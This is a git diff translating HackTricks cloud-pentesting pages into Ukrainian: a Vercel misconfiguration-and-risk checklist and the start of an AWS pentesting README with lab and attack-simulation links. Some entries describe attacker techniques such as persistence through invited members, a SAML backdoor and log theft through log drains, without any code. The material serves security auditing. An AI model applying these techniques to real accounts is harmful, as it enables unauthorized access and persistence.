Manage environment-specific variables and secrets used by the application. +**Мета:** Керувати змінними та секретами, специфічними для середовища, які використовуються додатком. -#### Security Configurations: +#### Конфігурації безпеки: -- **Exposing Sensitive Variables** - - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side. - - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches. -- **Sensitive disabled** - - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets. - - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. -- **Shared Environment Variables** - - **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information. - - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. +- **Витік чутливих змінних** +- **Неправильна конфігурація:** Префіксування чутливих змінних `NEXT_PUBLIC_`, що робить їх доступними на стороні клієнта. +- **Ризик:** Витік API ключів, облікових даних бази даних або інших чутливих даних для публіки, що призводить до витоків даних. +- **Чутливі вимкнені** +- **Неправильна конфігурація:** Якщо вимкнено (за замовчуванням), можливо, читати значення згенерованих секретів. +- **Ризик:** Збільшена ймовірність випадкового витоку або несанкціонованого доступу до чутливої інформації. +- **Спільні змінні середовища** +- **Неправильна конфігурація:** Це змінні середовища, встановлені на рівні Команди, і можуть також містити чутливу інформацію. +- **Ризик:** Збільшена ймовірність випадкового витоку або несанкціонованого доступу до чутливої інформації. --- ### Git -**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers. +**Мета:** Налаштувати інтеграції репозиторіїв Git, захист гілок та тригери розгортання. -#### Security Configurations: +#### Конфігурації безпеки: -- **Ignored Build Step (TODO)** - - **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE. - - **Risk:** TBD +- **Ігнорований крок збірки (TODO)** +- **Неправильна конфігурація:** Здається, ця опція дозволяє налаштувати bash-скрипт/команди, які будуть виконані, коли новий коміт буде надіслано в Github, що може дозволити RCE. +- **Ризик:** TBD --- -### Integrations +### Інтеграції -**Purpose:** Connect third-party services and tools to enhance project functionalities. +**Мета:** Підключити сторонні сервіси та інструменти для покращення функціональності проекту. -#### Security Configurations: +#### Конфігурації безпеки: -- **Insecure Third-Party Integrations** - - **Misconfiguration:** Integrating with untrusted or insecure third-party services. - - **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations. -- **Over-Permissioned Integrations** - - **Misconfiguration:** Granting excessive permissions to integrated services. - - **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions. -- **Lack of Integration Monitoring** - - **Misconfiguration:** Failing to monitor and audit third-party integrations. - - **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches. +- **Небезпечні сторонні інтеграції** +- **Неправильна конфігурація:** Інтеграція з ненадійними або небезпечними сторонніми сервісами. +- **Ризик:** Введення вразливостей, витоків даних або бекдорів через скомпрометовані інтеграції. +- **Надмірні дозволи інтеграцій** +- **Неправильна конфігурація:** Надання надмірних дозволів інтегрованим сервісам. +- **Ризик:** Неавторизований доступ до ресурсів проекту, маніпуляція даними або збої в сервісах. +- **Відсутність моніторингу інтеграцій** +- **Неправильна конфігурація:** Невиконання моніторингу та аудиту сторонніх інтеграцій. +- **Ризик:** Затримка виявлення скомпрометованих інтеграцій, що збільшує потенційний вплив порушень безпеки. --- -### Deployment Protection +### Захист розгортання -**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments. +**Мета:** Забезпечити безпеку розгортань через різні механізми захисту, контролюючи, хто може отримати доступ і розгортати у ваших середовищах. -#### Security Configurations: +#### Конфігурації безпеки: -**Vercel Authentication** +**Аутентифікація Vercel** -- **Misconfiguration:** Disabling authentication or not enforcing team member checks. -- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse. +- **Неправильна конфігурація:** Вимкнення аутентифікації або невиконання перевірок членів команди. +- **Ризик:** Неавторизовані користувачі можуть отримати доступ до розгортань, що призводить до витоків даних або зловживання додатком. -**Protection Bypass for Automation** +**Обхід захисту для автоматизації** -- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets. -- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments. +- **Неправильна конфігурація:** Публічне розкриття секрету обходу або використання слабких секретів. +- **Ризик:** Зловмисники можуть обійти захист розгортання, отримуючи доступ і маніпулюючи захищеними розгортаннями. -**Shareable Links** +**Посилання для спільного використання** -- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links. -- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions. +- **Неправильна конфігурація:** Неправильне спільне використання посилань або невиконання відкликання застарілих посилань. +- **Ризик:** Неавторизований доступ до захищених розгортань, обходячи аутентифікацію та обмеження IP. **OPTIONS Allowlist** -- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints. -- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks. +- **Неправильна конфігурація:** Дозволення надто широких шляхів або чутливих кінцевих точок. +- **Ризик:** Зловмисники можуть використовувати незахищені шляхи для виконання несанкціонованих дій або обходу перевірок безпеки. -**Password Protection** +**Захист паролем** -- **Misconfiguration:** Using weak passwords or sharing them insecurely. -- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked. -- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month. +- **Неправильна конфігурація:** Використання слабких паролів або їх ненадійне спільне використання. +- **Ризик:** Неавторизований доступ до розгортань, якщо паролі вгадуються або витікають. +- **Примітка:** Доступно в плані **Pro** як частина **Розширеного захисту розгортання** за додаткові $150/місяць. -**Deployment Protection Exceptions** +**Виключення захисту розгортання** -- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently. -- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access. -- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month. +- **Неправильна конфігурація:** Ненавмисне додавання доменів виробництва або чутливих до списку виключень. +- **Ризик:** Витік критичних розгортань для публіки, що призводить до витоків даних або несанкціонованого доступу. +- **Примітка:** Доступно в плані **Pro** як частина **Розширеного захисту розгортання** за додаткові $150/місяць. -**Trusted IPs** +**Довірені IP-адреси** -- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges. -- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access. -- **Note:** Available on the **Enterprise** plan. +- **Неправильна конфігурація:** Неправильне зазначення IP-адрес або діапазонів CIDR. +- **Ризик:** Легітимні користувачі можуть бути заблоковані або несанкціоновані IP-адреси отримують доступ. +- **Примітка:** Доступно в плані **Enterprise**. --- -### Functions +### Функції -**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies. +**Мета:** Налаштувати безсерверні функції, включаючи налаштування середовища, виділення пам'яті та політики безпеки. -#### Security Configurations: +#### Конфігурації безпеки: -- **Nothing** +- **Нічого** --- -### Data Cache +### Кеш даних -**Purpose:** Manage caching strategies and settings to optimize performance and control data storage. +**Мета:** Керувати стратегіями кешування та налаштуваннями для оптимізації продуктивності та контролю зберігання даних. -#### Security Configurations: +#### Конфігурації безпеки: -- **Purge Cache** - - **Misconfiguration:** It allows to delete all the cache. - - **Risk:** Unauthorized users deleting the cache leading to a potential DoS. +- **Очищення кешу** +- **Неправильна конфігурація:** Дозволяє видалити весь кеш. +- **Ризик:** Неавторизовані користувачі видаляють кеш, що може призвести до потенційного DoS. --- ### Cron Jobs -**Purpose:** Schedule automated tasks and scripts to run at specified intervals. +**Мета:** Запланувати автоматизовані завдання та скрипти для виконання через певні інтервали. -#### Security Configurations: +#### Конфігурації безпеки: -- **Disable Cron Job** - - **Misconfiguration:** It allows to disable cron jobs declared inside the code - - **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for) +- **Вимкнення Cron Job** +- **Неправильна конфігурація:** Дозволяє вимкнути cron jobs, оголошені в коді +- **Ризик:** Потенційне переривання служби (залежно від того, для чого призначалися cron jobs) --- ### Log Drains -**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing. +**Мета:** Налаштувати зовнішні служби логування для захоплення та зберігання журналів додатків для моніторингу та аудиту. -#### Security Configurations: +#### Конфігурації безпеки: -- Nothing (managed from teams settings) +- Нічого (керується з налаштувань команд) --- -### Security +### Безпека -**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more. +**Мета:** Центральний хаб для різних налаштувань безпеки, що впливають на доступ до проекту, захист джерела та інше. -#### Security Configurations: +#### Конфігурації безпеки: -**Build Logs and Source Protection** +**Журнали збірки та захист джерела** -- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly. -- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities. +- **Неправильна конфігурація:** Вимкнення захисту або публічне розкриття шляхів `/logs` та `/src`. +- **Ризик:** Неавторизований доступ до журналів збірки та вихідного коду, що призводить до витоків інформації та потенційної експлуатації вразливостей. -**Git Fork Protection** +**Захист Git Fork** -- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews. -- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors. +- **Неправильна конфігурація:** Дозволяючи несанкціоновані запити на витяг без належних перевірок. +- **Ризик:** Зловмисний код може бути об'єднаний у кодову базу, вводячи вразливості або бекдори. -**Secure Backend Access with OIDC Federation** +**Безпечний доступ до бекенду з OIDC Federation** -- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs. -- **Risk:** Unauthorized access to backend services through flawed authentication flows. +- **Неправильна конфігурація:** Неправильне налаштування параметрів OIDC або використання ненадійних URL-адрес видавця. +- **Ризик:** Неавторизований доступ до бекенд-сервісів через ненадійні потоки аутентифікації. -**Deployment Retention Policy** +**Політика збереження розгортання** -- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention). -- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments. +- **Неправильна конфігурація:** Встановлення занадто коротких термінів збереження (втрата історії розгортання) або занадто довгих (необхідне зберігання даних). +- **Ризик:** Нездатність виконати відкат, коли це необхідно, або підвищений ризик витоку даних з старих розгортань. -**Recently Deleted Deployments** +**Нещодавно видалені розгортання** -- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions. -- **Risk:** Loss of critical deployment history, hindering audits and rollbacks. +- **Неправильна конфігурація:** Невиконання моніторингу видалених розгортань або покладання виключно на автоматизовані видалення. +- **Ризик:** Втрата критичної історії розгортання, що ускладнює аудити та відкат. --- -### Advanced +### Розширене -**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security. +**Мета:** Доступ до додаткових налаштувань проекту для тонкого налаштування конфігурацій та підвищення безпеки. -#### Security Configurations: +#### Конфігурації безпеки: -**Directory Listing** +**Список директорій** -- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file. -- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks. +- **Неправильна конфігурація:** Увімкнення списку директорій дозволяє користувачам переглядати вміст директорії без індексного файлу. +- **Ризик:** Витік чутливих файлів, структури додатка та потенційних точок входу для атак. --- -## Project Firewall +## Брандмауер проекту -### Firewall +### Брандмауер -#### Security Configurations: +#### Конфігурації безпеки: -**Enable Attack Challenge Mode** +**Увімкнути режим виклику атаки** -- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability -- **Risk:** Potential user experience problems. +- **Неправильна конфігурація:** Увімкнення цього покращує захист веб-додатка від DoS, але за рахунок зручності використання +- **Ризик:** Потенційні проблеми з досвідом користувача. -### Custom Rules & IP Blocking +### Користувацькі правила та блокування IP -- **Misconfiguration:** Allows to unblock/block traffic -- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic +- **Неправильна конфігурація:** Дозволяє розблокувати/блокувати трафік +- **Ризик:** Потенційний DoS, що дозволяє шкідливий трафік або блокує добрий трафік --- -## Project Deployment +## Розгортання проекту -### Source +### Джерело -- **Misconfiguration:** Allows access to read the complete source code of the application -- **Risk:** Potential exposure of sensitive information +- **Неправильна конфігурація:** Дозволяє доступ до читання повного вихідного коду додатка +- **Ризик:** Потенційний витік чутливої інформації -### Skew Protection +### Захист від спотворення -- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other. -- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future +- **Неправильна конфігурація:** Цей захист забезпечує, щоб клієнт і серверний додаток завжди використовували одну й ту ж версію, щоб не було десинхронізації, коли клієнт використовує іншу версію, ніж сервер, і тому вони не розуміють один одного. +- **Ризик:** Вимкнення цього (якщо увімкнено) може викликати проблеми з DoS у нових розгортаннях у майбутньому --- -## Team Settings +## Налаштування команди -### General +### Загальні -#### Security Configurations: +#### Конфігурації безпеки: -- **Transfer** - - **Misconfiguration:** Allows to transfer all the projects to another team - - **Risk:** An attacker could steal the projects -- **Delete Project** - - **Misconfiguration:** Allows to delete the team with all the projects - - **Risk:** Delete the projects +- **Передача** +- **Неправильна конфігурація:** Дозволяє передавати всі проекти до іншої команди +- **Ризик:** Зловмисник може вкрасти проекти +- **Видалити проект** +- **Неправильна конфігурація:** Дозволяє видалити команду з усіма проектами +- **Ризик:** Видалити проекти --- -### Billing +### Білінг -#### Security Configurations: +#### Конфігурації безпеки: -- **Speed Insights Cost Limit** - - **Misconfiguration:** An attacker could increase this number - - **Risk:** Increased costs +- **Обмеження витрат на Speed Insights** +- **Неправильна конфігурація:** Зловмисник може збільшити це число +- **Ризик:** Збільшення витрат --- -### Members +### Члени -#### Security Configurations: +#### Конфігурації безпеки: -- **Add members** - - **Misconfiguration:** An attacker could maintain persitence inviting an account he control - - **Risk:** Attacker persistence -- **Roles** - - **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles) - - **Risk**: Increate the exposure of the Vercel Team +- **Додати членів** +- **Неправильна конфігурація:** Зловмисник може підтримувати стійкість, запрошуючи обліковий запис, яким він керує +- **Ризик:** Стійкість зловмисника +- **Ролі** +- **Неправильна конфігурація:** Надання занадто багатьох дозволів людям, яким це не потрібно, збільшує ризик конфігурації Vercel. Перевірте всі можливі ролі на [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles) +- **Ризик**: Збільшення вразливості команди Vercel --- -### Access Groups +### Групи доступу -An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects. +**Група доступу** у Vercel - це колекція проектів та членів команди з попередньо визначеними призначеннями ролей, що дозволяє централізоване та спрощене управління доступом до кількох проектів. -**Potential Misconfigurations:** +**Потенційні неправильні конфігурації:** -- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions. -- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation. -- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended. -- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions. -- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps. +- **Надмірні дозволи членів:** Призначення ролей з більшою кількістю дозволів, ніж необхідно, що призводить до несанкціонованого доступу або дій. +- **Неправильні призначення ролей:** Неправильне призначення ролей, які не відповідають обов'язкам членів команди, що викликає ескалацію привілеїв. +- **Відсутність сегрегації проектів:** Невиконання розділення чутливих проектів, що дозволяє більш широкий доступ, ніж передбачалося. +- **Недостатнє управління групами:** Нерегулярний перегляд або оновлення груп доступу, що призводить до застарілих або невідповідних дозволів доступу. +- **Непослідовні визначення ролей:** Використання непослідовних або неясних визначень ролей у різних групах доступу, що призводить до плутанини та прогалин у безпеці. --- ### Log Drains -#### Security Configurations: +#### Конфігурації безпеки: -- **Log Drains to third parties:** - - **Misconfiguration:** An attacker could configure a Log Drain to steal the logs - - **Risk:** Partial persistence +- **Log Drains для третіх сторін:** +- **Неправильна конфігурація:** Зловмисник може налаштувати Log Drain для крадіжки журналів +- **Ризик:** Часткова стійкість --- -### Security & Privacy +### Безпека та конфіденційність -#### Security Configurations: +#### Конфігурації безпеки: -- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard. - - **Misconfiguration:** - - Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting. - - Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain. - - **Risks:** - - **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team. - - **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals. -- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access. - - **Misconfiguration:** Not adding critical Git scopes to the protected list. -- **Risks:** - - **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization. - - **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team. -- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system. - - **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled. - - **Risks:** - - **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members. - - **Data Breach:** Sensitive information like API keys and credentials could be leaked. -- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members. - - **Misconfiguration:**\ - Granting access to audit logs to unauthorized team members. - - **Risks:** - - **Privacy Violations:** Exposure of sensitive user activities and data. - - **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks. -- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management. - - **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints. - - **Risk:** Maintain persistence -- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains. - - **Misconfiguration:** Leaving IP address visibility enabled without necessity. - - **Risks:** - - **Privacy Violations:** Non-compliance with data protection regulations like GDPR. - - **Legal Repercussions:** Potential fines and penalties for mishandling personal data. -- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing. - - **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic. - - **Risks:** - - **Service Denial to Legitimate Users:** Blocking access for valid users or partners. - - **Operational Disruptions:** Loss of service availability for certain regions or clients. +- **Домен електронної пошти команди:** При налаштуванні це налаштування автоматично запрошує особисті облікові записи Vercel з адресами електронної пошти, що закінчуються на вказаному домені (наприклад, `mydomain.com`), приєднатися до вашої команди під час реєстрації та на панелі приладів. +- **Неправильна конфігурація:** +- Вказування неправильного домену електронної пошти або помилково написаного домену в налаштуванні домену електронної пошти команди. +- Використання загального домену електронної пошти (наприклад, `gmail.com`, `hotmail.com`) замість домену, специфічного для компанії. +- **Ризики:** +- **Неавторизований доступ:** Користувачі з адресами електронної пошти з ненавмисних доменів можуть отримати запрошення приєднатися до вашої команди. +- **Витік даних:** Потенційний витік чутливої інформації проекту для несанкціонованих осіб. +- **Захищені Git-обсяги:** Дозволяє вам додати до 5 Git-обсягів до вашої команди, щоб запобігти іншим командам Vercel від розгортання репозиторіїв з захищеного обсягу. Кілька команд можуть вказувати один і той же обсяг, що дозволяє обом командам отримати доступ. +- **Неправильна конфігурація:** Невключення критичних Git-обсягів до захищеного списку. +- **Ризики:** +- **Неавторизовані розгортання:** Інші команди можуть розгортати репозиторії з Git-обсягів вашої організації без авторизації. +- **Витік інтелектуальної власності:** Програмний код може бути розгорнутий і доступний за межами вашої команди. +- **Політики змінних середовища:** Встановлює політики для створення та редагування змінних середовища команди. Зокрема, ви можете вимагати, щоб усі змінні середовища створювалися як **Чутливі змінні середовища**, які можуть бути розшифровані лише системою розгортання Vercel. +- **Неправильна конфігурація:** Залишення вимоги чутливих змінних середовища вимкненою. +- **Ризики:** +- **Витік секретів:** Змінні середовища можуть бути переглянуті або відредаговані несанкціонованими членами команди. +- **Витік даних:** Чутлива інформація, така як API ключі та облікові дані, може бути витікана. +- **Журнал аудиту:** Надає експорт активності команди за останні 90 днів. Журнали аудиту допомагають у моніторингу та відстеженні дій, виконаних членами команди. +- **Неправильна конфігурація:**\ +Надання доступу до журналів аудиту несанкціонованим членам команди. +- **Ризики:** +- **Порушення конфіденційності:** Витік чутливих дій та даних користувачів. +- **Підробка журналів:** Зловмисники можуть змінювати або видаляти журнали, щоб приховати свої сліди. +- **SAML Single Sign-On:** Дозволяє налаштування аутентифікації SAML та синхронізації каталогів для вашої команди, що дозволяє інтеграцію з постачальником ідентичності (IdP) для централізованої аутентифікації та управління користувачами. +- **Неправильна конфігурація:** Зловмисник може створити бекдор у налаштуванні команди, налаштовуючи параметри SAML, такі як ID сутності, URL SSO або відбитки сертифікатів. +- **Ризик:** Підтримка стійкості +- **Видимість IP-адрес:** Контролює, чи відображаються IP-адреси, які можуть вважатися особистою інформацією відповідно до певних законів про захист даних, у запитах моніторингу та Log Drains. +- **Неправильна конфігурація:** Залишення видимості IP-адрес увімкненою без необхідності. +- **Ризики:** +- **Порушення конфіденційності:** Невідповідність вимогам законодавства про захист даних, таким як GDPR. +- **Юридичні наслідки:** Потенційні штрафи та покарання за неналежне оброблення особистих даних. +- **Блокування IP:** Дозволяє налаштування IP-адрес та діапазонів CIDR, з яких Vercel має блокувати запити. Заблоковані запити не впливають на ваше білінг. +- **Неправильна конфігурація:** Може бути зловмисно використана зловмисником для дозволу шкідливого трафіку або блокування легітимного трафіку. +- **Ризики:** +- **Відмова в обслуговуванні легітимним користувачам:** Блокування доступу для дійсних користувачів або партнерів. +- **Операційні збої:** Втрата доступності послуг для певних регіонів або клієнтів. --- -### Secure Compute +### Безпечні обчислення -**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy. +**Vercel Secure Compute** забезпечує безпечні, приватні з'єднання між функціями Vercel та бекенд-середовищами (наприклад, базами даних) шляхом створення ізольованих мереж з виділеними IP-адресами. Це усуває необхідність публічного розкриття бекенд-сервісів, підвищуючи безпеку, відповідність та конфіденційність. -#### **Potential Misconfigurations and Risks** +#### **Потенційні неправильні конфігурації та ризики** -1. **Incorrect AWS Region Selection** - - **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region. - - **Risk:** Increased latency, potential data residency compliance issues, and degraded performance. -2. **Overlapping CIDR Blocks** - - **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks. - - **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks. -3. **Improper VPC Peering Configuration** - - **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates). - - **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches. -4. **Excessive Project Assignments** - - **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation. - - **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others. -5. **Inadequate IP Address Management** - - **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately. - - **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities. -6. **Including Build Containers Unnecessarily** - - **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds. - - **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources. -7. **Failure to Securely Handle Bypass Secrets** - - **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections. - - **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code. -8. **Ignoring Region Failover Configurations** - - **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings. - - **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency. -9. **Exceeding VPC Peering Connection Limits** - - **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections). - - **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions. -10. **Insecure Network Settings** - - **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network. - - **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks. +1. **Неправильний вибір регіону AWS** +- **Неправильна конфігурація:** Вибір регіону AWS для мережі Secure Compute, який не відповідає регіону бекенд-сервісів. +- **Ризик:** Збільшена затримка, потенційні проблеми з відповідністю резидентності даних та зниження продуктивності. +2. **Перекриваючі CIDR-блоки** +- **Неправильна конфігурація:** Вибір CIDR-блоків, які перекриваються з існуючими VPC або іншими мережами. +- **Ризик:** Конфлікти мережі, що призводять до невдалих з'єднань, несанкціонованого доступу або витоку даних між мережами. +3. **Неправильна конфігурація VPC Peering** +- **Неправильна конфігурація:** Неправильне налаштування VPC peering (наприклад, неправильні ID VPC, неповні оновлення таблиць маршрутів). +- **Ризик:** Неавторизований доступ до інфраструктури бекенду, невдалі безпечні з'єднання та потенційні витоки даних. +4. **Надмірні призначення проектів** +- **Неправильна конфігурація:** Призначення кількох проектів до однієї мережі Secure Compute без належної ізоляції. +- **Ризик:** Спільна експозиція IP збільшує поверхню атаки, потенційно дозволяючи скомпрометованим проектам впливати на інші. +5. **Недостатнє управління IP-адресами** +- **Неправильна конфігурація:** Невиконання управління або ротації виділених IP-адрес належним чином. +- **Ризик:** Спуфінг IP, вразливості для відстеження та потенційне занесення в чорний список, якщо IP пов'язані зі шкідливою діяльністю. +6. **Неправильне включення контейнерів збірки** +- **Неправильна конфігурація:** Додавання контейнерів збірки до мережі Secure Compute, коли доступ до бекенду не потрібен під час збірок. +- **Ризик:** Розширена поверхня атаки, збільшені затримки в постачанні та ненадійне споживання мережевих ресурсів. +7. **Невиконання безпечного оброблення секретів обходу** +- **Неправильна конфігурація:** Витік або неналежне оброблення секретів, що використовуються для обходу захисту розгортання. +- **Ризик:** Неавторизований доступ до захищених розгортань, що дозволяє зловмисникам маніпулювати або розгортати шкідливий код. +8. **Ігнорування конфігурацій відмови регіону** +- **Неправильна конфігурація:** Невиконання налаштування пасивних регіонів відмови або неправильне налаштування параметрів відмови. +- **Ризик:** Перерви в обслуговуванні під час відмови основного регіону, що призводить до зниження доступності та потенційної несумісності даних. +9. **Перевищення лімітів з'єднань VPC Peering** +- **Неправильна конфігурація:** Спроба встановити більше з'єднань VPC peering, ніж дозволено (наприклад, перевищення 50 з'єднань). +- **Ризик:** Нездатність безпечно підключити необхідні бекенд-сервіси, що викликає збої в розгортанні та операційні збої. +10. **Небезпечні налаштування мережі** +- **Неправильна конфігурація:** Слабкі правила брандмауера, відсутність шифрування або неналежна сегментація мережі в межах мережі Secure Compute. +- **Ризик:** Перехоплення даних, несанкціонований доступ до бекенд-сервісів та підвищена вразливість до атак. --- -### Environment Variables +### Змінні середовища -**Purpose:** Manage environment-specific variables and secrets used by all the projects. +**Мета:** Керувати змінними та секретами, специфічними для середовища, які використовуються всіма проектами. -#### Security Configurations: +#### Конфігурації безпеки: -- **Exposing Sensitive Variables** - - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side. - - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches. -- **Sensitive disabled** - - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets. - - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. +- **Витік чутливих змінних** +- **Неправильна конфігурація:** Префіксування чутливих змінних `NEXT_PUBLIC_`, що робить їх доступними на стороні клієнта. +- **Ризик:** Витік API ключів, облікових даних бази даних або інших чутливих даних для публіки, що призводить до витоків даних. +- **Чутливі вимкнені** +- **Неправильна конфігурація:** Якщо вимкнено (за замовчуванням), можливо, читати значення згенерованих секретів. +- **Ризик:** Збільшена ймовірність випадкового витоку або несанкціонованого доступу до чутливої інформації. {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md index ad71de826..e848ed95b 100644 --- a/src/pentesting-cloud/aws-security/README.md +++ b/src/pentesting-cloud/aws-security/README.md @@ -2,17 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Основна інформація -**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them. +**Перед початком пентестингу** середовища **AWS** є кілька **основних речей, які вам потрібно знати** про те, як працює AWS, щоб допомогти вам зрозуміти, що потрібно робити, як знаходити неправильні налаштування та як їх експлуатувати. -Concepts such as organization hierarchy, IAM and other basic concepts are explained in: +Концепції, такі як ієрархія організації, IAM та інші базові концепції, пояснюються в: {{#ref}} aws-basic-information/ {{#endref}} -## Labs to learn +## Лабораторії для навчання - [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat) - [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable) @@ -22,49 +22,49 @@ aws-basic-information/ - [http://flaws.cloud/](http://flaws.cloud/) - [http://flaws2.cloud/](http://flaws2.cloud/) -Tools to simulate attacks: +Інструменти для симуляції атак: - [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/) - [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main) -## AWS Pentester/Red Team Methodology +## Методологія AWS Pentester/Red 